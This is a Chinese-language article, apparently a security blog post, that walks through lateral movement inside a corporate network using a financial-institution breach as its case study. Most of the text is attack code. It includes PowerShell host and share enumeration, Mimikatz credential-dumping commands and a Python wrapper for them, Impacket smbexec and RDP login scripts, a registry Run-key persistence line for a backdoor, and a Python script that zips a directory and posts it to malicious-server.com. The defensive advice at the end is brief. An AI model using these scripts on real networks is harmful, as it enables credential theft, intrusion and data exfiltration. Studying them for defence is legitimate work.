一、真实案例:内部网络中的潜伏者

某金融机构在一次例行安全审计中发现,其内部网络中一台普通的员工工作站竟然在凌晨时分向境外某服务器发送了加密流量。在分析流量样本后,安全团队发现了一个惊人的事实:这台工作站被植入了一个后门程序,攻击者已经在内网中潜伏了近三个月,期间完成了从初始感染到横向移动、最终窃取核心数据的一整套攻击链。

攻击的起点是一次看似普通的钓鱼邮件,包含一个伪装成公司内部通知的恶意 Word 文档。员工打开文档后,触发了隐藏的恶意宏,宏代码利用了 Office 的 RCE 漏洞 (CVE-2017-11882) 在目标系统上执行了恶意代码。由此,攻击者获得了初步的立足点,并通过一系列精心设计的横向移动策略,逐步向目标域控服务器渗透。

本文将以该案例为蓝本,详细剖析攻击者在内网横向移动中的关键技术和策略,带你重现从初始感染到最终核心目标的整个过程。

---

二、进入内网后的第一步:信息收集

在内网渗透中,信息收集是至关重要的一环。攻击者需要明确内网的结构、关键资产和潜在的攻击路径。在本文的案例中,攻击者首先利用了 PowerShell 的强大功能来收集网络环境的相关信息。

以下是一段常用的 PowerShell 脚本,攻击者可以用它快速枚举内网中的主机列表、共享文件夹和开放端口:

黑客示意图

<pre><code class="language-powershell"># 使用 WMI 查询内网计算机,并尝试获取每台主机的基本信息 Get-ADComputer -Filter * | ForEach-Object { $computerName = $_.Name Write-Host &quot;正在扫描主机: $computerName&quot;

检测是否可访问

Test-Connection -ComputerName $computerName -Count 1 -Quiet | Out-Null if ($?) {

获取共享文件夹信息

$shares = Get-WmiObject -Class Win32_Share -ComputerName $computerName foreach ($share in $shares) { Write-Host &quot;[+] 共享文件夹: $($share.Name) ($($share.Path))&quot; } } }</code></pre>

技术要点

  1. 域环境信息枚举:通过 Get-ADComputer 列举域内的计算机。
  2. 可访问性检测:利用 Test-Connection 确认目标主机是否在线。
  3. 共享资源扫描:通过 Win32_Share 枚举其他主机的共享文件夹。

攻击者在执行上述脚本后,能够快速掌握内网中存在哪些主机,并且识别出可能存在敏感信息的共享文件夹,为后续横向移动提供了基础数据。

---

三、横向移动的核心:凭证窃取

在内网中横向移动的关键是凭证的获取。攻击者需要依赖有效的用户凭证才能访问其他主机或资源。在这起案例中,攻击者通过 Mimikatz 成功从内存中窃取了域用户的明文密码。

以下是攻击者可能使用的 Mimikatz 指令:

<pre><code class="language-plaintext">privilege::debug sekurlsa::logonpasswords</code></pre>

通过这些命令,攻击者可以直接从目标系统的内存中提取到用户的凭证信息,包括明文密码、NTLM 哈希值以及 Kerberos TGT 票据。

武器化的 Mimikatz 脚本

黑客示意图

为了在实际攻击中更具隐蔽性,攻击者通常会封装自己的工具。以下是一个使用 Python 远程调用 Mimikatz 的示例:

黑客示意图

<pre><code class="language-python">import subprocess

def run_mimikatz():

将 Mimikatz 的路径替换为你的实际路径

mimikatz_path = &quot;C:\\Tools\\mimikatz.exe&quot; command = f&quot;{mimikatz_path} privilege::debug sekurlsa::logonpasswords&quot; try: result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) if result.returncode == 0: print(&quot;[+] Mimikatz Output:&quot;) print(result.stdout) else: print(&quot;[-] Error running Mimikatz:&quot;) print(result.stderr) except Exception as e: print(f&quot;[-] Error: {e}&quot;)

run_mimikatz()</code></pre>

攻击者的目标

窃取域管理员的身份凭证后,攻击者可以轻松控制整个域环境。域管理员权限的获取通常意味着内网渗透的成功。

---

四、从 SMB 到 RDP:横向移动的路径选择

凭证到手后,攻击者需要找到能够利用这些凭证访问的服务。在内网环境中,最常见的横向移动路径包括 SMB 和 RDP。

基于 SMB 的横向移动

攻击者可以通过工具如 PsExec 或 Impacket 的 smbexec.py 脚本,利用窃取的凭证在目标主机上执行恶意代码。以下是使用 Impacket 的示例:

<pre><code class="language-bash"># 使用 Impacket 的 smbexec.py 工具远程执行命令 python3 smbexec.py DOMAIN/USERNAME:PASSWORD@TARGET_IP &quot;whoami&quot;</code></pre>

基于 RDP 的横向移动

在拥有域用户凭证后,攻击者可以通过远程桌面协议 (RDP) 登录到目标主机。以下是使用 PowerShell 脚本远程登录的示例:

<pre><code class="language-powershell"># 启用 RDP 服务(如果未启用) Set-ItemProperty -Path &quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&quot; -Name &quot;fDenyTSConnections&quot; -Value 0 Enable-NetFirewallRule -DisplayGroup &quot;Remote Desktop&quot;

使用凭证登录远程主机

$password = ConvertTo-SecureString &quot;P@ssw0rd&quot; -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential(&quot;DOMAIN\USER&quot;, $password) Enter-PSSession -ComputerName &quot;TARGET_IP&quot; -Credential $credential</code></pre>

通过这些方法,攻击者可以成功登录并控制目标机器,为下一步的操作奠定基础。

---

五、持久化与数据窃取的终局

在内网横向移动的过程中,攻击者往往会在目标主机上部署持久化后门,用以确保即使被管理员察觉也能够再次访问系统。在本案例中,攻击者使用了以下两种持久化手段:

注册表中的后门

攻击者通过修改注册表,将恶意程序设置为开机自启:

<pre><code class="language-powershell">New-ItemProperty -Path &quot;HKLM:\Software\Microsoft\Windows\CurrentVersion\Run&quot; -Name &quot;UpdateService&quot; -Value &quot;C:\Windows\Temp\backdoor.exe&quot; -PropertyType String</code></pre>

数据窃取与 exfiltration

成功控制域控后,攻击者将敏感数据压缩并通过加密隧道发送到境外服务器:

<pre><code class="language-python">import os import zipfile

黑客示意图

def compress_and_exfiltrate(target_dir, exfil_server):

将目标目录压缩

zip_path = &quot;data.zip&quot; with zipfile.ZipFile(zip_path, &quot;w&quot;) as zipf: for root, dirs, files in os.walk(target_dir): for file in files: file_path = os.path.join(root, file) zipf.write(file_path, os.path.relpath(file_path, target_dir)) print(&quot;[+] 数据已压缩&quot;)

使用 HTTP POST 上传数据

with open(zip_path, &quot;rb&quot;) as file: response = requests.post(f&quot;{exfil_server}/upload&quot;, files={&quot;file&quot;: file}) print(f&quot;[+] 数据发送状态: {response.status_code}&quot;)

compress_and_exfiltrate(&quot;C:\\SensitiveData&quot;, &quot;http://malicious-server.com&quot;)</code></pre>

---

六、经验总结:如何防御横向移动

从攻击者的视角来看,内网横向移动的成功与否,取决于初始感染后的信息收集、凭证窃取和路径选择。因此,要防御这类攻击,企业需要从以下几方面入手:

  1. 加强终端防护:使用严格的端点检测和响应 (EDR) 技术,监控异常行为。
  2. 最小化权限:确保用户账户没有不必要的管理员权限。
  3. 凭证保护:定期清理内存中的明文凭证,禁用不必要的协议和服务。
  4. 流量监控:部署流量分析工具,检测异常的纵向流量。
  5. 安全意识培训:减少钓鱼攻击成功率是防御的第一步。

---

内网横向移动是一门艺术,既需要技术也需要耐心。希望通过本文的剖析,你能够从攻击者的视角更好地理解这一过程,同时提升自身的防御能力。合法测试,切勿滥用